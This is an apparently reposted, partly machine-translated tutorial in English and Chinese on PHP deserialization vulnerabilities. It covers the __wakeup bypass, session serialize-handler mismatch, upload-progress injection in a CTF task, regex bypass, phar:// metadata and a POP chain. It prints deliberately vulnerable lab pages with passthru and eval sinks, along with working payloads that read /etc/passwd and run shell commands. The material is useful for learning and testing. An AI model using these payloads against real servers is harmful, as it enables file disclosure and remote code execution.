On deserialization vulnerability principle PHP

Serialization and de-serialization

img

Serialization Application: Objects facilitate transmission and storage in the network

0x01 php deserialization vulnerability

In PHP applications, serialization and de-serialization is generally used as a cache, such as the session cache, cookie and other.

Common serialization format:

  • Binary format
  • Byte array
  • json string
  • xml string

Serialized object stream is to convert, format facilitate storage and transport

Deserializing serialized contrast, converted stream object

For example: json serialization, XML serialization, binary serialization, SOAP serialization

The serialization and de-serialization php basically revolve around serialize(), unserialize()these two functions

php magic methods common objects

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct()    // 对象被销毁时触发
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__toString()    // 把类当作字符串使用时触发,返回值需要为字符串
__invoke()      // 当脚本尝试将对象调用为函数时触发

PHP serialized data

Test script test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

This is the format of an object by serializing method serialize ()

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

When a page similar to passing parameters found in the data format of the target sequence, can be tested for the presence deserialization vulnerability

php object access level properties

Test.php test

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private After property becomes serialized <0x00>对象<0x00>属性名

public No change

protected After property becomes serialized <0x00>*<0x00>属性名

Special hexadecimal <0x00>representation a bad byte is a null byte

The following test pass value of the correct posture deserialized

After adding a few codes

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

First test common form of access to traditional values

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

publicIt is normally modified, private, protected and can not be modified outside the object

How can we modify the property value to be protected from the outside it?

The <0x00>position of use %00instead of

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

Can be found in even the protected property will be modified externally

php deserialization demo

Assuming that the page has a controllable interface parameters

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

Test page is to pass parameters through the post, the post is not necessarily combat environment, the parameters may be encrypted coding

To pass a O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

By modifying the parameters, determines whether or not the variable parameter

Variable parameters

Deserialization exploits

Vulnerability formation conditions

  1. Variable parameters
  2. There may use function

Function is assumed that there may be utilized

Test.php test code

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 读取文件函数
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

It found that there is a file_get_contents()file read function.

Malicious structure parameters O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

Before the User Interface changed to read the file class constructor parameters, FileClass only a filename attribute, just pass the file name to be read on the line

1568375220346

Passing malicious parameters with the same parameter name, resulting in the current directory test.phpis read, you can try to read other files

Readtest.txt

Trying to read/etc/passwd

Configuration parameters O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 bypass __wakeup ()

the __wakeup () similar to a pretreatment effect, detects the presence of wakeup when executed to unserialize (), the presence of the first implementation of the __wakeup ()

Bypassing

This is a way to bypass vulnerability caused by a PHP version of

Bypass the __wakeup()number of parameters only need to change more than the existing number of parameters can be

Affects Version

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40 and 5.5.38 test comparison

Test.php test page

Test versions of php 5.6.40

Test system Linux

IP :192.168.80.11

<?php
    // ...省略其他代码
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

Here the __wakeup (), it is determined if there is "ls" cmd parameter of the input string, then cmd is set to a space.

Configuration parameters O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

The number of parameters to change the number of parameters than the conventional bypass

The updated version, will produce an error can not be bypassed

Replace the virtual machines for testing

Test.php test page

Test versions of php 5.5.38

Windows 7 test system

IP :192.168.80.128

Test page php_unser.php

<?php   
    // ...其余都一样
        function __wakeup(){
            # 因为win7没有ls命令,所以这里来限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法输入";
            }
        }
?>

Configuration parameters O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

Found to be the __wakeup () filtered

The number of parameters to modify bypassed O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

Tested can bypass

0x03 Session deserialized

php session content is not stored in memory, there is a file format. Storage is to be determined by the configuration item session.save_handler, the default file is stored. The files are stored sess_sessionidcontents to be named after the contents of the file is serialized session value.

Storage

  • php_binary Storage, ASCII is the length of the character keys corresponding to keys + + After serialize () function is a sequence of process values
  • php Storage, the key name after + + vertical serialize () function value of the sequence of processes
  • php_serialize(php>5.5.4) Storage, the value after serialize () function is a sequence of process

Formatting

ini_set('session.serialize_handler', '需要设置的引擎');

By default session storage to phpstorage

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session内容    name|s:5:"admin";

php_serializeengine

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容    a:1:{s:4:"name";s:5:"admin";}

php_binaryengine

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容    

4 character ASCII value of the display can not be printed

Vulnerabilities principle

When session improper use, and the use of engines used for serialization deserialization php reservoir such as an engine is not the same, it will form the vulnerability.

Vulnerability reproduction

The tests to phpengine and php_serializehybrid engine raises the vulnerability

Test page 1 target1.php-> php_serializeEngine

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["name"]=$_GET["name"];

    if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
        echo "欢迎来到第一个页面,Session已保存!";
    }
?>

Test Page 2 target2.php-> phpEngine

<?php 
    ini_set('session.serialize_handler','php');
    session_start();
    // 开启session之后 无需调用会自动加载
    class Admin
    {
        var $name;
        function __construct()
        {
            $this->name = "default";
        }
        function __destruct(){
            // 执行命令
            passthru($this->name);
        }
    }
?>

By the target1.phppassing of a nameadmin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

Then visit target2.phppassed parameter before, you will find cat /etc/passwdthe command to be executed

What is happening? ! !

Vulnerability trigger process

First, by visiting target1.phpand passing parametersname=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

The target1.phppage is the php_serializeengine to store the session, so the session after saving the contents into aa:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

Then when accessed target2.php, the page will use the second phpengine to parse the session, by |a value corresponding to the extracted character string is divided;

Session value

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

After the decomposition, a:1:{s:4:"name";s:48:"adminwas used as the session key value
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}is resolved to value

Session itself is the serialization and de-serialization of storage

By the session O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}deserialization

It generates Adminobject and an attribute value cat /etc/passwdof the name

Through the destruction magic methods object __destruct()command will form a malicious execution

CTF combat title

为了符合题意需要将 php.ini中的 serialize_handler 修改一下

题目测试页面 test3.php

<?php 
//A webshell is wait for you 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class OowoO 
{ 
    public $mdzz; 
    function __construct() 
    { 
        $this->mdzz = 'phpinfo();'; 
    } 
     
    function __destruct() 
    { 
        eval($this->mdzz); 
    } 
} 
if(isset($_GET['phpinfo'])) 
{ 
    $m = new OowoO(); 
} 
else 
{ 
    highlight_string(file_get_contents('test3.php')); 
} 
?>

访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面将的漏洞环境

通过源码可以看出并没有可以传入参数的地方

不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的

Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值

构造一个post表单

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上传一个文件,抓包分析

修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后储存

后输出页面被 php引擎解析触发反序列化漏洞

构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍历 /tmp/ 内的所有文件

1568554719518

0x04 反序列化绕过正则

测试页面源码 test4.php

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

首先访问 <http://192.168.80.11/test4.php>

通过源码可以看出存在一个反序列化漏洞

根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches); 对序列化字符串做了限制导致触发防御

接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并没有什么变化的原因是,在url中 + 号会被解释为空格,所以需要将 + url编码后加入

尝试访问 flag.php

绕过正则表达式

实战中需根据正则表达式规则来进行绕过

0x05 phar反序列化

phar伪协议触发php反序列化

phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

案例演示

假设已知页面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下来根据源码中的类来构造一个phar文件

创建一个 phar.php

<?php
class MyClass{
    var $output='phpinfo();';
    function __destruct(){
        eval($this->output);
    }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");    // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>

通过访问或者 php 编译去生成 phar文件

注意:必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件

通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应

可以通过上传文件等方式将phar文件放到服务器上

先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问

找到phar文件的路径

利用 phar:// 协议来访问

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的

0x06 POP链构造

测试页面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解题思路:

  1. 首先发现找到flag,发现flag需要通过GetFlag类中get_flag()函数输出,然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法,而str1需要赋值为GetFlag
  2. Class found funcin the present __invokemethod of performing a string concatenation, need funcas a function call using automatic __invokethen $mod1assigned to string1the object and the $mod2splice.
  3. In functthe find function calls need to be mod1assigned to funcobject classes, and because the function call in __callmethod, and the parameters $test2that can not be called test2automatically called when the method __callmethod;
  4. In Callthe test1presence of methods $this->mod1->test2();, we need to be $mod1assigned to functan object, so that __callautomatically calls.
  5. Find test1call point method, in start_ggfound $this->mod1->test1();, the $mod1assigned start_ggobject class, waiting for __destruct()the automatic call.

Output payload configured by pop chain

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1赋值为Call类对象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);

After performing output payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

The payload into the parameter transmission request flag output

Guess you like

Origin www.cnblogs.com/r0ckysec/p/11545962.html